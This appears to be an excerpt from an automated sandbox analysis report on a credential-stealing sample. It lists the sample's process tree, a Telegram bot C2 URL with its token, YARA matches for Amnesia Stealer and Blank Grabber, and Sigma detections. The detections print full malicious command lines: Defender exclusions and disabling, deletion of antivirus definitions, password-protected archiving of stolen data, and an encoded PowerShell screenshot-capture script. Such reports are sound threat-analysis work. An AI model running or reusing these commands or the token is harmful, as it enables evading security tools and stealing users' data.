WMIC.exe (PID: 8112 cmdline: wmic os get Caption MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 7740 cmdline: C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7840 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 5936 cmdline: wmic computersystem get totalphysicalmemory MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 8140 cmdline: C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 8004 cmdline: wmic csproduct get uuid MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 8064 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8076 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2172 cmdline: powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 2980 cmdline: C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7660 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 1568 cmdline: wmic path win32_VideoController get name MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 4008 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3492 cmdline: powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault MD5: 04029E121A0CFA5991749937DD22A1D9)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
HackBrowserData	Browser information stealer, written in Go.	No Attribution	https://blog.eclecticiq.com/operation-flightnight-indian-government-entities-and-energy-sector-targeted-by-cyber-espionage-campaign	https://malpedia.caad.fkie.fraunhofer.de/details/win.hackbrowserdata

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7006262545:AAG_Oybxah5yJgAPFw9HTnZfJtepO5xBob8/sendMessage"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000000C.00000003.1344123889.0000021B5C4C1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_AmnesiaStealer	Yara detected Amnesia Stealer	Joe Security
0000000C.00000002.1724508986.0000021B5C2D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.1724508986.0000021B5C2D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_AmnesiaStealer	Yara detected Amnesia Stealer	Joe Security
Process Memory Space: based.exe PID: 7492	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: based.exe PID: 7492	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: based.exe PID: 7492	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: based.exe PID: 7492	JoeSecurity_AmnesiaStealer	Yara detected Amnesia Stealer	Joe Security
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\based.exe'", CommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\based.exe'", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\ProgramData\Microsoft\based.exe" , ParentImage: C:\ProgramData\Microsoft\based.exe, ParentProcessId: 7492, ParentProcessName: based.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\based.exe'", ProcessId: 7580, ProcessName: cmd.exe

Sigma detected: Powershell Defender Disable Scan Feature

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", CommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\ProgramData\Microsoft\based.exe" , ParentImage: C:\ProgramData\Microsoft\based.exe, ParentProcessId: 7492, ParentProcessName: based.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", ProcessId: 7592, ProcessName: cmd.exe

Sigma detected: Rar Usage with Password and Compression Level

Source: Process started

Author: @ROxPinTeddy: Data: Command: C:\Windows\system32\cmd.exe /c "C:\Users\user~1\AppData\Local\Temp\_MEI74482\rar.exe a -r -hp"amnesia" "C:\Users\user~1\AppData\Local\Temp\bOAlC.zip" *", CommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user~1\AppData\Local\Temp\_MEI74482\rar.exe a -r -hp"amnesia" "C:\Users\user~1\AppData\Local\Temp\bOAlC.zip" *", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\ProgramData\Microsoft\based.exe" , ParentImage: C:\ProgramData\Microsoft\based.exe, ParentProcessId: 7492, ParentProcessName: based.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user~1\AppData\Local\Temp\_MEI74482\rar.exe a -r -hp"amnesia" "C:\Users\user~1\AppData\Local\Temp\bOAlC.zip" *", ProcessId: 1916, ProcessName: cmd.exe

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: System File Execution Location Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: "C:\Users\user\Desktop\svchost.exe", CommandLine: "C:\Users\user\Desktop\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\Desktop\svchost.exe, NewProcessName: C:\Users\user\Desktop\svchost.exe, OriginalFileName: C:\Users\user\Desktop\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: "C:\Users\user\Desktop\svchost.exe", ProcessId: 5740, ProcessName: svchost.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\y1aqvv5e\y1aqvv5e.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\y1aqvv5e\y1aqvv5e.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0